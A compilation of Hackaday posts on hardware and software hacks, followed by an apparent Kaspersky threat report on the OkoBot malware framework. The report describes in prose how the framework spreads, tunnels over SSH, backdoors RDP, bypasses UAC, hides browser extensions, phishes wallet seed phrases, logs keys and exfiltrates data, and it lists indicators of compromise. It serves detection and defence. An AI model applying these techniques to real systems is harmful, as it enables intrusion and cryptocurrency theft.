Come next year, those looking to explore the globe virtually via Google Earth will have to do so on their smartphone or from within their browser, as the search giant has decided to discontinue the service’s desktop client in June 2027.

The good news is, the lights won’t be going out immediately. According to a post made on Google Earth’s official support community by Community Manager [Aamir F.], the June cutoff date applies to new downloads, but nothing is changing on the backend, so existing installs will continue to work.

Now, while it’s safe to assume that you’ll have little trouble finding an alternate download of the Google Earth client for years to come, there’s no telling how long before they quit working. It probably goes without saying that Google won’t be providing updates to the software anymore, so if there’s any kind of breaking change on either the API side or at the OS level, that’s the end of the road. There’s always a chance that Google will decide to release the source and turn the whole thing over to the community… but we wouldn’t hold our breath on that one.

To be fair, we have absolutely no doubt that the majority of Google Earth users already access the service via the smartphone app or their browser. Honestly, you could say the same thing about most services these days. So in that respect, it’s not much of a surprise that Google doesn’t feel like keeping the native version going. That said, several commenters in the community thread pointed out features from the desktop client that aren’t available in the other versions.

Are you still using Google Earth on the desktop? Will this change impact something you’re working on? We’d love to get your take on this in the comments below.

Thanks to [Mark Lloyd] for the tip.

hackaday.com/2026/07/16/google…

In order to not hit something, you generally need to know where that thing is. On land, the meager human eyesight tends to be sufficient. On the water, however, the prospects are more dangerous and complicated. So, technology is required to ensure safe ocean voyages in the form of the AIS transponder system. The off the shelf solutions tend to work quite well, but [peterantypas] was displeased with the commercial offerings, and built what appears to be the first open source AIS transponder called MANIA.

Automatic Identification System (AIS) is a GPS tracking system designed for maritime applications. Broadly speaking, it broadcasts GPS and other data at intervals over VHF radio. AIS is what allows the precise tracking of vessels by authorities, and online hobbyists. AIS is also often received by other vessels to augment radar improving boat to boat collision safety.

Most commercial AIS transponders used by sailors are rather bulky, expensive, come with a large power budget. The MANIA project avoids these pitfalls by being entirely self-contained. The RF portion is largely made up of a STM32L4 micro controller, a SI Labs Si4460 ISM RF chip, and a Quectel L76L-M33 with a Johansson ceramic chip antenna for GPS. With such simple hardware, the PCB is easily small enough to fit inside the antenna assembly.

This design eliminates the need for long runs of multiple shielded RF cables to a bulky transponder unit inside. Instead, a simple Ethernet cable is used to transfer data to and from the mast. Inside the boat, a USB decoder is used to pass the AIS data on to a PC. This whole setup is remarkably simple and reliable, with hundreds of units having been produced since the project’s start.

While this is the first full blown AIS transponder we have covered, we have seen other projects utilizing the protocol. We have also seen quite a number of projects with the aircraft equivalent, ADS-B.

Thanks [Bernerd] for the tip!

hackaday.com/2026/07/16/transp…

You may or may not remember in some ancient chemistry class studying or even performing chromatography. The short definition is using media like paper or powder to separate a mixture. It is an old technique, but [Suchir2004] is using it as an art form.

Chromatography works because the parts of the liquid mixture travel through the media at different speeds. While experimenting, [Suchir2004] noted that black ink and water perfused into constituent pigments. A butterfly ensued.

Is it art? Yes! Is it science? Well, sort of. Especially since the post does talk about how the effect works and even does some simple tests to start. This would be an excellent project for a class where some students are more motivated by art and others by science. Even with an individual kid, it might show you where their interests lie.

There’s nothing particularly difficult. A sketch pen, some paper, a coffee filter, a glue stick, and a few other household items are all you really need to get started.

Want something more practical? How about measuring caffeine content?

hackaday.com/2026/07/15/chroma…

Compared to the Arduino Uno of old, modern microcontrollers are absolutely tiny — especially for the amount of processing power and I/O you get. But if you need something really small, like fits-on-the-tip-of-your-finger small, most of the turn-key development boards on the market are still a bit too big.

Enter the pinch from moddo, which they advertise as “The World’s Smallest 32-Bit Arduino-
Compatible Board.” We can’t vouch for its world-record status, but we certainly can’t think of a smaller one. At least not a complete solution like this, which offers native USB and 15 GPIO pins in addition to the usual suspects like SPI, I2C, PWM, and UART. In fact, it’s so small that it even includes a breakout board to make prototyping a bit easier.

Coming from something like an ESP32, the biggest adjustment will probably be working around the relatively limited specs of the SAMD11. The ARM Cortex-M0+ under the hood tops out at 48 MHz, and there’s only 4 KB SRAM and 16 KB flash (of which the bootloader eats up 4 KB). Still, not bad for something that occupies roughly the same surface area as a female USB-C connector.

We’re told the team is in the final stages of testing and production of the pinch, and you can currently pre-order the $16 board ahead of its planned September ship date. A circuit schematic and STEP 3D model are already available, and it looks like board design files aren’t far behind.

hackaday.com/2026/07/15/pinch-…

Just when you thought we’d run out of things to port DOOM to, here comes [Ahmed Amer] with his CSS-DOS, a massive 300 MB CSS style sheet, that runs not just DOS, but Windows 1.0 and, of course, DOOM. The CSS sheet isn’t holding a DOOM port this time, though — it’s holding a full IBM PC compatible, with a simulated 8086, 640 kB of RAM, floppy and VGA controllers. Yes, in one style sheet. We did mention it was 300 MB, right?

CSS is not a very good programming language. It’s got functions and if statements nowadays, but it doesn’t really do programs in the usual sense. That is, lists of instructions that feed one into another. You can’t change a variable without jumping through hoops. The sort of static behavior you get from a CSS sheet actually matches hardware architecture better than software, which was the key insight [Ahmed] had to make the project possible. It’s still not easy, or elegant, or perhaps even sane, as you can find out from the excellent write-up he has describing how he pulled this off. We particularly like the interactive guide to the full mountain of madness that is the .css file.

Now, we admit that “runs DOOM” may be an exaggeration — even if the maddeningly massive CSS sheet ran an IBM-AT full speed, that hardware can’t handle the game at any playable speed. It doesn’t emulate at anything close to full speed, though. Because this is such a gratuitously weird hack, it only runs at two instructions per second. No, not FPS, instructions, as in at the CPU level. Well, it could be worse, at least it’s not clock ticks. Still, if you’re time-dilated enough you can wait the 3 weeks to boot DOS, and the 3 months to load a level, you can play DOOM at 0.0001 FPS.

Look, we didn’t make the rules — they say everything has to try and run DOOM. They don’t say everything has to run it well.

hackaday.com/2026/07/15/doom-r…

[cmh]’s ultra-simple top cover for the Snapmaker U1 3D printer has a 3D model, but don’t let that fool you. There’s no 3D printing at all involved in this project. Rather, the model is a reference shape for making an effective top cover out of cardboard or corrugated plastic sheet (also known as Coroplast) which is what [cmh] used.
The pattern can be cut from a single sheet, or from multiple pieces taped together.
Corrugated plastic is a versatile option for things like printer enclosures. It’s cheap, a good insulator, easy to cut, and available from just about any plastics supplier. We’ve made the case that they’re a good alternative to acrylic sheets for printer enclosures, but [cmh] goes even further with a design that requires no additional hardware whatsoever. Assembly doesn’t even require more than tape, really.

He provides a cutout diagram for pieces that, when assembled, make a sort of hat that is just right to cover the top of the Snapmaker U1 without obstructing the extruders. One can even lift the front panel to access the inside without removing the cover, which is a nice touch. Should one wish to add a viewing window anywhere, just cut out a square and tape a sheet of clear plastic over the hole.

For a 3D printer, an enclosure and top cover helps retain heat, block drafts, and keep dust (or curious fingers) away from the printer’s build area. The cover doesn’t need to be completely sealed to deliver those benefits, but if you do prefer your covers completely enclosed, a carefully-chosen IKEA storage box makes a conveniently great cover for the U1.

hackaday.com/2026/07/15/cut-an…

This week Jonathan chats with Nariman Jelveh about Puter! It’s the project that takes the idea of the Browser-as-the-OS seriously. Why did a simulated desktop on the web take off, what the story of making it Open Source, and what’s coming next? Watch to find out!

• github.com/jelveh
• github.com/HeyPuter/puter
• puter.com/

youtube.com/embed/9vrzEvWiALw?…

Did you know you can watch the live recording of the show right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or have the guest contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2026/07/15/floss-…

Launched in 2014, Japan’s Hayabusa2 spacecraft completed its primary asteroid sample return mission all the way back in 2020. But with the main spacecraft still healthy, the intrepid little probe was assigned new missions — such as its future investigation of asteroid 1998 KY₂₆, a rather unassuming 11 meter diameter rock.
Artist impression of Hayabusa2 firing its ion thrusters. (Credit: DLR, Wikimedia)
Earlier this month Hayabusa2 flew by the 450 meter 98943 Torifune at a distance of 800 meters, close enough to get an up-close look of its surface of mostly silicate minerals. With the spacecraft flying past at around 5 km/s, this posed some challenges with tracking, especially since its systems and instruments were not designed for high-speed tracking.

With that mission now complete, 1998 KY₂₆ – first discovered in 1998 – is next on the menu, though this will have to wait a while. Currently it’s estimated that the two will not meet until July 2031.

Once they do meet up, after Hayabusa2 zips twice more past Earth, it’ll be another major challenge for the by now rather degraded spacecraft. Its sensors have suffer radiation and other types of damage, while its ion engines are quite depleted. The goal at this target asteroid is to enter orbit, deploy its last target marker and projectile, before attempting a landing, probably at one of its poles.

As likely the final mission for this spacecraft it’ll be very educational in many ways, not the least of which is that of planetary defense, but also that of deepening our understanding of these asteroids and the many varieties that we share space with.

hackaday.com/2026/07/15/hayabu…

Having Linux on so many devices is both a blessing and a curse. Sure, it is great that you can hack on things and modify them or even totally repurpose them. But it also means you have a fleet of Linux devices you have to manage and keep track of.

My current “main” 3D printer is a Flashforge AD5X: a nice, cheap machine that does four colors with the purge/exchange method. It sort of runs Klipper. I say sort of because Flashforge has Klipper running on a Linux host in the box, but it is massively crippled and modified. I’m sure it works for most folks. I’m also sure that if you know nothing about Linux, Klipper, or 3D printing, the experience is probably better thanks to all the cloud point-and-click interfaces. But, of course, I check none of those boxes.

I’ve had the printer for probably a year or more. Almost immediately, I put a “mod” on the printer to give it a more true Klipper interface and gave me things like shell access. There are several that I think will do this, but I used Zmod, which doesn’t totally replace the printer’s firmware; it just sort of patches it and extends it. You can easily bypass or even remove it and go back to the stock printer, although I would not want to.

In my case, the issue was a printer, but the same idea might apply to any embedded Linux system, from a router to a thermostat. Sure, it runs Linux, but is it Linux you can change?

The Problem

The AD5X runs Linux… sort of.
The Flashforge firmware and Zmod both will run on the AD5X’s little sister, the AD5M. However, the AD5M has a significantly less capable processor board than the AD5X. That means that Linux on the boxes is very stripped down. From Flashforge’s point of view, no one should be in the Linux OS anyway, and the author of Zmod probably figures every byte used is a byte taken away from the user or other advanced Zmod features.

It may seem like a first-world problem, but there were two things that irked me about the printer’s Linux. There was no less or more command for poking around files. There was also only vi as an editor. I did a few hacks to make myself happy. I wrote a pager in shell script, for example. I would try to remember to use my desktop emacs and tramp to edit files on the box. But it was a shame that there were some very basic tools lacking. Besides that, even the tools that were there like ls lacked help commands in case you want some strange option you can’t remember.

No Install

To save space, the printer doesn’t really have programs like ls, cat, and grep. Instead, it has a single busybox executable. This is common on small systems. You get one copy of the libraries and a single executable that will do all the work you need. You can invoke, for example, grep by running “busybox grep” or, if you make a symlink to busybox named grep, the user may never realize that you don’t really have grep installed.

However, busybox has to be built. You can’t easily install packages to it. So I could just run some package manager and install less or anything else. My plan was to produce a new busybox package myself to supply at least the missing commands and maybe some of the more basic ones, too. How hard could it be?

How Hard, Indeed

The first issue was figuring out exactly what the printer was running. The OS was a buildroot compile as shown by /etc/os-release:
NAME=Buildroot
VERSION=2020.02.1-g0b1f992-dirty
ID=buildroot
VERSION_ID=2020.02.1
PRETTY_NAME="Buildroot 2020.02.1"
In theory, you could probably try to rebuild everything from that information, but it seemed like a bad idea. Who knows what changes they’ve made or what strange dependencies were out there?

The next piece of the puzzle was the architecture. It turned out to be MIPS, which has many variations, a problem that would come back to haunt me later. To figure it all out, I grabbed busybox from the machine and copied it to my regular computer. This let me read the elf file:

# readelf -h busybox
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 03 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 3
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x403fa0
Start of program headers: 52 (bytes into file)
Start of section headers: 775880 (bytes into file)
Flags: 0x70001405, noreorder, cpic, nan2008, o32, mips32r2
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 10
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 29

Forensics

Just knowing that the CPU was MIPS was hardly enough. Note that the processor could have been big endian, but this one was little endian. What’s more, the flags show a few things, and the important ones would turn out to be mips32r2, which defines a particular set of instructions, and nan2008, which means everything is using a more modern floating point stack compared to some older MIPS setups.

The next step is to find a toolchain that can run on my Linux box and produce executables for such a machine. There were two main candidates that I thought about: zig and crosstool-ng.

Zig

You may remember that Zig is a completely different language from C. So it might not make sense that I want to compile busybox, a C program with Zig. However, Zig has an interesting feature. It can pretend to be gcc, and maybe compilers for some other languages too. The idea is that if you have a lot of C code, you could start changing over to Zig without having to convert everything today or even ever. Using CLang and LLVM, Zig purports to be able to just drop in a project as the system C compiler.

So why does that matter for this project? Zig also supports a lot of targets, including MIPS, and provides run time libraries for them. So if I just tell the build system to use Zig, everything will be fine, right?

Right…

Naturally, this didn’t work as well as I expected. It could be that I don’t understand Zig well enough, but passing --target mipsel-linux-musleabihf -mcpu=mips32r2 to zig cc couldn’t produce a working ‘hello world’ program. The reason? Zig appears not to supply a nan2008 library for MIPS. Or maybe I just didn’t know how to enable it. As far as I can tell, Zig might have done the right thing for mips32r6, but that, unsurprisingly, led to illegal instruction problems. Besides, I wanted to stick as close to the existing setup as possible.

I could have made Zig rebuild its libraries, but then I might as well build a full toolchain. However, I wondered if floating point would matter much for what I was doing, so I decided to cheat. I let Zig build an executable, and then I simply patched the output header to say it used nan2008. It worked for a simple program.

Busybox

The configuration menu for busybox lets you customize it to your liking or, at least, requirements.
Configuring busybox is a matter of using a menuconfig system similar to building a kernel. I mainly asked it to make a static copy in options and then just picked a bunch of things I wanted, especially less and more.

Many programs, including less, have options to help you minimize the size. For example, you could disable regular expressions or make it not read $LESS for options. I left nearly everything on for most of the programs.

Once it was ready to go, I needed to run make with the Zig compilers and then do the patch to fool the printer into running it.

The command line that worked the best turned out to be: make V=1 CC="zig cc -target mipsel-linux-musleabihf -mcpu=mips32r2 -static -Os" STRIP='llvm-strip' -j6

Of course, you could adjust the -j6 to suit how many CPUs you have. I like to use about 1/2 of mine when compiling. Then the patch is as simple as:

printf '\024' | dd of=busybox bs=1 seek=37 count=1 conv=notrunc

Did it Work?

Once I transferred the file, renamed to busybox-ad5x, over to the printer, I was able to successfully run things like busybox less or even busybox ls. Everything seemed to work. You can ask busybox to install a bunch of symlinks for everything it knows how to do, but I wanted to start small, so I only made symlinks for things that didn’t already exist in the native busybox.

Once I didn’t find problems, I eventually replaced even the old busybox utilities with the new ones. I even made busybox-ad5x a symlink and renamed this version as busybox-zig because I wanted to try one more experiment: using crosstool-ng to make a proper toolchain.

Next Time

But that’s a whole other topic for another day. For now, Zig — with a little patching — got the job done. There are many ways to get things done under Linux. Turns out it is very hard for a vendor to totally lock down a system, and if there is a way in, then there is almost always some way to tune things to your liking. Busybox is a great tool for stripped-down systems. Even floppy-based boots.

hackaday.com/2026/07/15/puttin…

WHOOP does not have the presence in the wearable space as other brands, but in certain circles, it’s a household name. Their business model requires you to have a yearly app subscription to use their fitness tracker, but here at Hackaday, we are big fans of actually owning the devices you buy — which is why we were happy to hear about an open source and subscription free WHOOP compatible app!

The goal of the so-called OpenStrap project is not to re-create the WHOOP app. Rather, the algorithms and processing methods are developed from scratch, based on public research. It’s all calculated locally on a 1 Hz interval, based on the data the WHOOP 4.0 device feeds the app. As such, the health data collected from the watch, never leaves the phone. While not the main goal of the project, the privacy improvement of the app’s serverless nature cannot be overstated. However, to display metrics, you first need to get data off the WHOOP to begin with.

The crux of the issue with making the WHOOP 4.0 work without the official app is the reliance on proprietary Bluetooth protocols. Fortunately, the protocol itself ended up being relatively simple. The WHOOP 4.0 amounts to little more than a series of sensors that sit on the user’s wrist. As such, the app can subscribe to the Bluetooth feed and decode the data, right? Well, the devil is always in the details with such things, and the protocol came with its fair share of quirks. The hardware clock needs to be synchronized, or it simply defaults to zero Unix time. Moreover, the analog sensors like, ambient temperature are given in relative ADC values, and are not terribly useful without calibration. Regardless, the result of the reverse engineering effort speaks for itself with the OpenStrap app able to recreate much of the functionality in WHOOP’s official app.

Quite often, devices reliant on proprietary apps are little more than manufactured e-waste. While we don’t expect many of you to actually own a WHOOP 4.0, we do hope to see the OpenStrap project keep at least a few out of the landfill in the future.

hackaday.com/2026/07/15/making…

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

Original OkoBot infection chain

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

New OkoBot infection chain

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

Malicious application distribution report

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

1. Open firewall ports for inbound RDP traffic
2. Create a user in the “Remote Desktop Users” group
3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

Example output of HDUtil enumeration commands

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

Setting up protections on the regions and launching the implant

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

List of the functions hooked by the malware

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

The loader replaces the functions it finds with its own

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

Extensions are unpacked into a non-default directory

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

Stub for hiding malicious extensions

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

Decrypting implant using AES GCM and subsequent mapping

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

Resolving a plugin initialization function

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

• CMD wrapper (10xx): allows running scripts and individual commands in cmd.
• PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
• Environment enumerator (12xx): gathers system information, active sessions, and processes.
• Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
• Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

List of functions hooked by the malware

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

Phishing pages for seed phrase recovery

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

Example of the keylogger log file

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

Example of an OkoSpyware metadata file

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Sequential exfiltration of artifacts from the temporary directory

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
